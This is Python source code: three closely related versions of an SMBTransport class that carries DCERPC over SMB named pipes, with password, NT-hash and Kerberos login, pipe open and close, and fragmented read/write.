class SMBTransport(DCERPCTransport): """Implementation of ncacn_np protocol sequence""" def __init__( self, remoteName, dstport=445, filename="", username="", password="", domain="", lmhash="", nthash="", aesKey="", TGT=None, TGS=None, remote_host="", smb_connection=0, doKerberos=False, kdcHost=None, ): DCERPCTransport.__init__(self, remoteName, dstport) self.__socket = None self.__tid = 0 self.__filename = filename self.__handle = 0 self.__pending_recv = 0 self.set_credentials(username, password, domain, lmhash, nthash, aesKey, TGT, TGS) self._doKerberos = doKerberos self._kdcHost = kdcHost if remote_host != "": self.setRemoteHost(remote_host) if smb_connection == 0: self.__existing_smb = False else: self.__existing_smb = True self.set_credentials(*smb_connection.getCredentials()) self.__prefDialect = None self.__smb_connection = smb_connection def preferred_dialect(self, dialect): self.__prefDialect = dialect def setup_smb_connection(self): if not self.__smb_connection: self.__smb_connection = SMBConnection( self.getRemoteName(), self.getRemoteHost(), sess_port=self.get_dport(), preferredDialect=self.__prefDialect, ) def connect(self): # Check if we have a smb connection already setup if self.__smb_connection == 0: self.setup_smb_connection() if self._doKerberos is False: self.__smb_connection.login(self._username, self._password, self._domain, self._lmhash, self._nthash) else: self.__smb_connection.kerberosLogin( self._username, self._password, self._domain, self._lmhash, self._nthash, self._aesKey, kdcHost=self._kdcHost, TGT=self._TGT, TGS=self._TGS, ) self.__tid = self.__smb_connection.connectTree("IPC$") self.__handle = self.__smb_connection.openFile(self.__tid, self.__filename) self.__socket = self.__smb_connection.getSMBServer().get_socket() return 1 def disconnect(self): self.__smb_connection.disconnectTree(self.__tid) # If we created the SMB connection, we close it, otherwise # that's up for the caller if self.__existing_smb is False: self.__smb_connection.logoff() self.__smb_connection = 0 def send(self, data, forceWriteAndx=0, forceRecv=0): if self._max_send_frag: offset = 0 while 1: toSend = data[offset : offset + self._max_send_frag] if not toSend: break self.__smb_connection.writeFile(self.__tid, self.__handle, toSend, offset=offset) offset += len(toSend) else: self.__smb_connection.writeFile(self.__tid, self.__handle, data) if forceRecv: self.__pending_recv += 1 def recv(self, forceRecv=0, count=0): if self._max_send_frag or self.__pending_recv: # _max_send_frag is checked because it's the same condition we checked # to decide whether to use write_andx() or send_trans() in send() above. if self.__pending_recv: self.__pending_recv -= 1 return self.__smb_connection.readFile(self.__tid, self.__handle, bytesToRead=self._max_recv_frag) else: return self.__smb_connection.readFile(self.__tid, self.__handle) def get_smb_connection(self): return self.__smb_connection def set_smb_connection(self, smb_connection): self.__smb_connection = smb_connection self.set_credentials(*smb_connection.getCredentials()) self.__existing_smb = True def get_smb_server(self): # Raw Access to the SMBServer (whatever type it is) return self.__smb_connection.getSMBServer() def get_socket(self): return self.__socket def doesSupportNTLMv2(self): return self.__smb_connection.doesSupportNTLMv2()
class SMBTransport(DCERPCTransport): """Implementation of ncacn_np protocol sequence""" def __init__(self, remoteName, dstport=445, filename='', username='', password='', domain='', lmhash='', nthash='', aesKey='', TGT=None, TGS=None, remote_host='', smb_connection=0, doKerberos=False, kdcHost=None): DCERPCTransport.__init__(self, remoteName, dstport) self.__socket = None self.__tid = 0 self.__filename = filename self.__handle = 0 self.__pending_recv = 0 self.set_credentials(username, password, domain, lmhash, nthash, aesKey, TGT, TGS) self._doKerberos = doKerberos self._kdcHost = kdcHost if remote_host != '': self.setRemoteHost(remote_host) if smb_connection == 0: self.__existing_smb = False else: self.__existing_smb = True self.set_credentials(*smb_connection.getCredentials()) self.__prefDialect = None self.__smb_connection = smb_connection def preferred_dialect(self, dialect): self.__prefDialect = dialect def setup_smb_connection(self): if not self.__smb_connection: self.__smb_connection = SMBConnection(self.getRemoteName(), self.getRemoteHost(), sess_port=self.get_dport(), preferredDialect=self.__prefDialect) if self._strict_hostname_validation: self.__smb_connection.setHostnameValidation(self._strict_hostname_validation, self._validation_allow_absent, self._accepted_hostname) def connect(self): # Check if we have a smb connection already setup if self.__smb_connection == 0: self.setup_smb_connection() if self._doKerberos is False: self.__smb_connection.login(self._username, self._password, self._domain, self._lmhash, self._nthash) else: self.__smb_connection.kerberosLogin(self._username, self._password, self._domain, self._lmhash, self._nthash, self._aesKey, kdcHost=self._kdcHost, TGT=self._TGT, TGS=self._TGS) self.__tid = self.__smb_connection.connectTree('IPC$') self.__handle = self.__smb_connection.openFile(self.__tid, self.__filename) self.__socket = self.__smb_connection.getSMBServer().get_socket() return 1 def disconnect(self): self.__smb_connection.disconnectTree(self.__tid) # If we created the SMB connection, we close it, otherwise # that's up for the caller if self.__existing_smb is False: self.__smb_connection.logoff() self.__smb_connection.close() self.__smb_connection = 0 def send(self,data, forceWriteAndx = 0, forceRecv = 0): if self._max_send_frag: offset = 0 while 1: toSend = data[offset:offset+self._max_send_frag] if not toSend: break self.__smb_connection.writeFile(self.__tid, self.__handle, toSend, offset = offset) offset += len(toSend) else: self.__smb_connection.writeFile(self.__tid, self.__handle, data) if forceRecv: self.__pending_recv += 1 def recv(self, forceRecv = 0, count = 0 ): if self._max_send_frag or self.__pending_recv: # _max_send_frag is checked because it's the same condition we checked # to decide whether to use write_andx() or send_trans() in send() above. if self.__pending_recv: self.__pending_recv -= 1 return self.__smb_connection.readFile(self.__tid, self.__handle, bytesToRead = self._max_recv_frag) else: return self.__smb_connection.readFile(self.__tid, self.__handle) def get_smb_connection(self): return self.__smb_connection def set_smb_connection(self, smb_connection): self.__smb_connection = smb_connection self.set_credentials(*smb_connection.getCredentials()) self.__existing_smb = True def get_smb_server(self): # Raw Access to the SMBServer (whatever type it is) return self.__smb_connection.getSMBServer() def get_socket(self): return self.__socket def doesSupportNTLMv2(self): return self.__smb_connection.doesSupportNTLMv2()
class SMBTransport(DCERPCTransport): """Implementation of ncacn_np protocol sequence""" def __init__(self, target, credential = SMBCredential(), filename='', smb_connection=None): DCERPCTransport.__init__(self, target) self.__socket = None self.__tid = 0 self.__filename = filename self.__handle = 0 self.__pending_recv = 0 self.__credential = credential self.set_credentials(credential) if target.hostname is not None: self.setRemoteHost(target.hostname) if smb_connection is None: self.__existing_smb = False else: self.__existing_smb = True self.set_credentials(smb_connection.getCredentials()) self.__prefDialect = None self.__smb_connection = smb_connection def preferred_dialect(self, dialect): self.__prefDialect = dialect def setup_smb_connection(self): if not self.__smb_connection: self.__smb_connection = SMBConnection(self.getRemoteName(), self.getRemoteHost(), sess_port=self.get_dport(), preferredDialect=self.__prefDialect) def connect(self): # Check if we have a smb connection already setup if self.__smb_connection is None: self.setup_smb_connection() if self._doKerberos is False: self.__smb_connection.login(self.__credential) else: self.__smb_connection.kerberos_login(self.__credential) self.__tid = self.__smb_connection.connectTree('IPC$') self.__handle = self.__smb_connection.openFile(self.__tid, self.__filename) self.__socket = self.__smb_connection.getSMBServer().get_socket() return 1 def disconnect(self): self.__smb_connection.disconnectTree(self.__tid) # If we created the SMB connection, we close it, otherwise # that's up for the caller if self.__existing_smb is False: self.__smb_connection.logoff() self.__smb_connection.close() self.__smb_connection = None def send(self,data, forceWriteAndx = 0, forceRecv = 0): if self._max_send_frag: offset = 0 while 1: toSend = data[offset:offset+self._max_send_frag] if not toSend: break self.__smb_connection.writeFile(self.__tid, self.__handle, toSend, offset = offset) offset += len(toSend) else: self.__smb_connection.writeFile(self.__tid, self.__handle, data) if forceRecv: self.__pending_recv += 1 def recv(self, forceRecv = 0, count = 0 ): if self._max_send_frag or self.__pending_recv: # _max_send_frag is checked because it's the same condition we checked # to decide whether to use write_andx() or send_trans() in send() above. if self.__pending_recv: self.__pending_recv -= 1 return self.__smb_connection.readFile(self.__tid, self.__handle, bytesToRead = self._max_recv_frag) else: return self.__smb_connection.readFile(self.__tid, self.__handle) def get_smb_connection(self): return self.__smb_connection def set_smb_connection(self, smb_connection): self.__smb_connection = smb_connection self.set_credentials(smb_connection.getCredentials()) self.__existing_smb = True def get_smb_server(self): # Raw Access to the SMBServer (whatever type it is) return self.__smb_connection.getSMBServer() def get_socket(self): return self.__socket def doesSupportNTLMv2(self): return self.__smb_connection.doesSupportNTLMv2()